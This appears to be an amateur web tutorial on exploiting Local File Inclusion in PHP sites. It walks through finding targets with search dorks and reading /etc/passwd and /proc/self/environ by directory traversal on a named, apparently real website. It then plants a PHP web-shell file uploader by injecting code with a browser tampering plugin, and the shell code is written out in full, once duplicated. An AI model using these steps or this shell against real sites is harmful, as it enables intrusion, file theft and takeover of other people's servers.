 |
| LFI (Local File Inclusion) |
What is LFI or Local File Inclusion?
This Description from Wikipedia
is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected
Example of Php Vulnerable script
<?php $file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
So this script PHP could be injected like
http://example.com/index.php?file=contactus.php
OK Now i will show you POC exploited This vulnerablity The Way backdoored shell via Tamper data
1.First.you could search in google Vulnerable website.HEre Are The list of Dorks ive collected..
Dorks :
2.OK after Get the Website,Check That Website
For example;
http://vanessasbodymall.com/index.php?page=products.php
Is that website could call /etc/passwd File ????
You could add an ../../ << To go to that Server Website Directory
http://vanessasbodymall.com/index.php?page=/etc/passwd
3.So if '/etc/passwd' could be Called So that Site Vulnerable With LFI.So How To plant WebShell/Backdoor? > You should check Wheather /proc/self/environ < Could be Called ,So The URI likes below
http://vanessasbodymall.com/index.php?page=../../../../../../../../proc/self/environ
4.Upload Sheel via tamper data
You Should download That firefox plugin..Here i Give U the link
https://addons.mozilla.org/en-us/firefox/downloads/file/79565/tamper_data-11.0.1-fx.xpi?src=addondetail&confirmed=1
Ok Next Step after installing the plugin
a.Restart Your browser Mozilla Firefox
b.Then Click "Tool" > "MenuBar" and klik "Tamper Data"
c.Click start tamper > lalu refresh page tersebut
d.So will be pop up > Click "Tamper"
e.Replace This Code or You could Replace anything php evil code
<?php
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Done The Work!!!</b><br><br>'; }
else { echo '<b>Upload Failed! </b><br><br>'; }
}
?>
echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Done The Work!!!</b><br><br>'; }
else { echo '<b>Upload Failed! </b><br><br>'; }
}
?>
f.Yes Right..If You're Success plant That Php Script..This Script will be located at http://vanessasbodymall.com/Yourshellname.php
Search Terms :
- local file inclusion
- remote file inclusion
- local file inclusion tutorial
- local file inclusion vulnerability
- lfi local file inclusion
- local file inclusion exploit
- local file include
- web server vulnerability
- vulnerability php
- vulnerability of web server
- web server attacks
